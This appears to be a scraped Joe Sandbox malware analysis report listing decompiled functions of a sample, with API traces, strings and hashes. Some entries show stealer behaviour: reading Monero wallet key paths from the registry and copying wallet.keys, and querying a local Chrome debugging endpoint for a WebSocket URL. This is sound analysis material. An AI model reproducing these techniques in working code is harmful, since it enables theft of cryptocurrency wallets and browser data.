Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: GlobalObject$Window$DeleteSelectStreamlstrcpy$CloseCreateDesktopFromInternetLockOpenRectReleaseSizelstrlen
String ID:
API String ID: 1802806997-0
Opcode ID: b1b8791a8d2e1fc6d293ac4aac69a1d09fc8499f143b8516903854be70e2a675
Instruction ID: 874a4d690d5af6738339d7d93fb499c87d48d678da5f54ecb025367c9e3c8a08
Opcode Fuzzy Hash: b1b8791a8d2e1fc6d293ac4aac69a1d09fc8499f143b8516903854be70e2a675
Instruction Fuzzy Hash: 2D51E37280011DAFDF21AFA4ED4D8EEBF79FF48324B008025FA01E2125DB359955EBA1

Function 010085B4 Relevance: 18.1, APIs: 12, Instructions: 95COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 010085CD

Part of subcall function 01003B12: Sleep.KERNEL32(00000000,?), ref: 01003B3A

__calloc_crt.LIBCMT ref: 010085F1
_free.LIBCMT ref: 010085FF
__calloc_crt.LIBCMT ref: 0100860D
_free.LIBCMT ref: 0100861D
_free.LIBCMT ref: 01008623
__copytlocinfo_nolock.LIBCMT ref: 01008632
__setlocale_nolock.LIBCMT ref: 0100863F
_free.LIBCMT ref: 01008658
__setmbcp_nolock.LIBCMT ref: 0100866A
_free.LIBCMT ref: 01008678
_free.LIBCMT ref: 0100868C

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$Sleep__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 3833677464-0
Opcode ID: ce53d4cff9f1dcb3a0d7abed448cf11e50c7d1aa652ec336a3e96af6f28d0277
Instruction ID: 0fbd5c46e073876282d56688fbcb53ee87c61b264eae20f70529560291291874
Opcode Fuzzy Hash: ce53d4cff9f1dcb3a0d7abed448cf11e50c7d1aa652ec336a3e96af6f28d0277
Instruction Fuzzy Hash: FE210531508606AEF7237F68DC0196A7BE5FF96761F11842AF6C45A1E0EE3298008A56

Function 00FE15D6 Relevance: 18.0, APIs: 12, Instructions: 50windowmemoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE15AC: GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00FE15B6
Part of subcall function 00FE15AC: HeapAlloc.KERNEL32(00000000), ref: 00FE15BD

MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 00FE15F6
GetLastError.KERNEL32 ref: 00FE15FC
SetCriticalSectionSpinCount.KERNEL32(00000000,00000000), ref: 00FE1604
GetWindowContextHelpId.USER32(00000000), ref: 00FE160B
GetWindowLongW.USER32(00000000,00000000), ref: 00FE1613
RegisterClassW.USER32(00000000), ref: 00FE161A
IsWindowVisible.USER32(00000000), ref: 00FE1621
ConvertDefaultLocale.KERNEL32(00000000), ref: 00FE1628
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00FE1634
IsDialogMessageW.USER32(00000000,00000000), ref: 00FE163C
GetProcessHeap.KERNEL32(00000000,?), ref: 00FE1646
HeapFree.KERNEL32(00000000), ref: 00FE164D

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Heap$Window$MessageProcess$AllocByteCharClassContextConvertCountCriticalDefaultDialogErrorFreeHelpLastLocaleLongMultiRegisterSectionSpinVisibleWide
String ID:
API String ID: 3627164727-0
Opcode ID: a5a4fce1449d9a67d1a246572ff4039ae6d6a4a3f00d3a161e3f75d60ea6ab3a
Instruction ID: ea02acafc1560114a5124751bbdcd4c0ac15825620c5aa84dc3355a042dc4a28
Opcode Fuzzy Hash: a5a4fce1449d9a67d1a246572ff4039ae6d6a4a3f00d3a161e3f75d60ea6ab3a
Instruction Fuzzy Hash: 74015876402926FBC733ABA1AD0C9DF3E6CFE4A362B144145F646910088B7E5641EBF5

Function 00FE7ECC Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 114networkfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(WebSocketClient,00000001,00000000,00000000,00000000), ref: 00FE7EF4
InternetOpenUrlA.WININET(00000000,http://localhost:9223/json,00000000,00000000,80000000,00000000), ref: 00FE7F25
InternetCloseHandle.WININET(00000000), ref: 00FE7F36
InternetReadFile.WININET(00000000), ref: 00FE7FA4
InternetCloseHandle.WININET(?), ref: 00FE7FB4
InternetCloseHandle.WININET(?), ref: 00FE7FC0

Part of subcall function 00FEF54B: std::_Xinvalid_argument.LIBCPMT ref: 00FEF561

Strings

"ws://, xrefs: 00FE7FEF
http://localhost:9223/json, xrefs: 00FE7F1F
"webSocketDebuggerUrl":, xrefs: 00FE7FC8
WebSocketClient, xrefs: 00FE7EED

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$Open$FileReadXinvalid_argumentstd::_
String ID: "webSocketDebuggerUrl":$"ws://$WebSocketClient$http://localhost:9223/json
API String ID: 2589578820-1054772028
Opcode ID: 459b9c0b31ea32e154ce881f6b8ea596d39a04c3bbc7129b20959c41f3fe1a19
Instruction ID: 10c0c2d14bd99add12b802c859ae62f447339c5883b834ceb9357c1f62ac681a
Opcode Fuzzy Hash: 459b9c0b31ea32e154ce881f6b8ea596d39a04c3bbc7129b20959c41f3fe1a19
Instruction Fuzzy Hash: 1B417672D042E9AEDB21EF61DC49EEA7779EB08354F0000A9F689E2145C7B95FC89F50

Function 00FFB413 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 175fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,00000000,?,?), ref: 00FFB447
GetFileSize.KERNEL32(?,00000000), ref: 00FFB4C0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 00FFB4DC
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 00FFB4F0
SetFilePointer.KERNEL32(?,00000024,00000000,00000000), ref: 00FFB4F9
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 00FFB509
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 00FFB527
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 00FFB537

Strings

, xrefs: 00FFB493

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-3916222277
Opcode ID: a5393bbb2f373220f3e15426f37d0abbccfe15394f2c919f8b79ae7d2e743ead
Instruction ID: 5e109931f56e2b93d1bcefb811e1a09bcbc8944209d5076d72555d496b480109
Opcode Fuzzy Hash: a5393bbb2f373220f3e15426f37d0abbccfe15394f2c919f8b79ae7d2e743ead
Instruction Fuzzy Hash: 535102B1D0021CAFDB29DF99D881ABDBBB9FF04314F18442AE611E6261D7389D45DF10

Function 00FE1AA8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 129stringfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FE1ACC

Part of subcall function 00FE1A41: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00FE1A55
Part of subcall function 00FE1A41: HeapAlloc.KERNEL32(00000000), ref: 00FE1A5C
Part of subcall function 00FE1A41: RegOpenKeyExA.ADVAPI32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00FE1AD9), ref: 00FE1A79
Part of subcall function 00FE1A41: RegQueryValueExA.ADVAPI32(00FE1AD9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00FE1A94
Part of subcall function 00FE1A41: RegCloseKey.ADVAPI32(00FE1AD9), ref: 00FE1A9D

lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00FE1AE1
lstrlenA.KERNEL32(?), ref: 00FE1AEE
lstrcatA.KERNEL32(?,.keys), ref: 00FE1B09

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

Part of subcall function 00FF1E6D: GetSystemTime.KERNEL32(?,010157AE,?), ref: 00FF1E9C

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

CopyFileA.KERNEL32(?,?,00000001), ref: 00FE1C1A

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FE85FA: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8615
Part of subcall function 00FE85FA: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE862C
Part of subcall function 00FE85FA: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8643
Part of subcall function 00FE85FA: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE865A
Part of subcall function 00FE85FA: CloseHandle.KERNEL32(?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8682

DeleteFileA.KERNEL32(?), ref: 00FE1C8D

Part of subcall function 00FF7074: CreateThread.KERNEL32(00000000,00000000,00FF6FA3,?,00000000,00000000), ref: 00FF7113
Part of subcall function 00FF7074: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00FF711B

Strings

\Monero\wallet.keys, xrefs: 00FE1B1F
.keys, xrefs: 00FE1AFD

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseCreateHeaplstrlen$CopyDeleteHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait_memset
String ID: .keys$\Monero\wallet.keys
API String ID: 615783205-3586502688
Opcode ID: f4f03847859312ab337f169c9c131293a7db24ee859e4e76e0bf5a6848dfa9c8
Instruction ID: 1ef67441a8311668d9840898de51fd8efae00b69178436c8d1fab15dd0970f70
Opcode Fuzzy Hash: f4f03847859312ab337f169c9c131293a7db24ee859e4e76e0bf5a6848dfa9c8
Instruction Fuzzy Hash: DC511D72D4016E9BCF60BB65DD46AED7378AF00304F4144E1B708B7112DA796F89AF84

Function 00FEDD33 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,76885460,?,00000000), ref: 00FEDD6F
strchr.MSVCRT ref: 00FEDD81
strchr.MSVCRT ref: 00FEDDA6
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FEDEAB), ref: 00FEDDC8
GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00FEDDD5
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FEDEAB), ref: 00FEDDDC
strcpy_s.MSVCRT ref: 00FEDE23

Strings

0123456789ABCDEF, xrefs: 00FEDD4D

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Heaplstrlenstrchr$AllocProcessstrcpy_s
String ID: 0123456789ABCDEF
API String ID: 453150750-2554083253
Opcode ID: bf838c276ca3fd25cc250aec75184fc764b0613320a74dd7f4815eb802b3bf43
Instruction ID: a877261a049525bfea26a4a69d6e4d3b1440a971c1b6fc5e252d45781537777d
Opcode Fuzzy Hash: bf838c276ca3fd25cc250aec75184fc764b0613320a74dd7f4815eb802b3bf43
Instruction Fuzzy Hash: 30317072D002599FDF11DFE9DC49ADEBBB9AF08310F100129E901FB285DB76A908DB90

Function 00FFF3E2 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77COMMON

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 00FFF407

Part of subcall function 00FFEFA2: Replicator::operator[].LIBCMT ref: 00FFF025
Part of subcall function 00FFEFA2: DName::operator+=.LIBCMT ref: 00FFF02D

DName::operator+.LIBCMT ref: 00FFF460
DName::DName.LIBCMT ref: 00FFF4B8

Strings

void, xrefs: 00FFF4B0
..., xrefs: 00FFF49B, 00FFF4A7
,<ellipsis>, xrefs: 00FFF453
,..., xrefs: 00FFF44C, 00FFF458
<ellipsis>, xrefs: 00FFF4A2

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 834187326-2211150622
Opcode ID: 26e4f4600d23553c909f6ea47b6ee8a1767e6b671d6417342b6317fbc9d4dca4
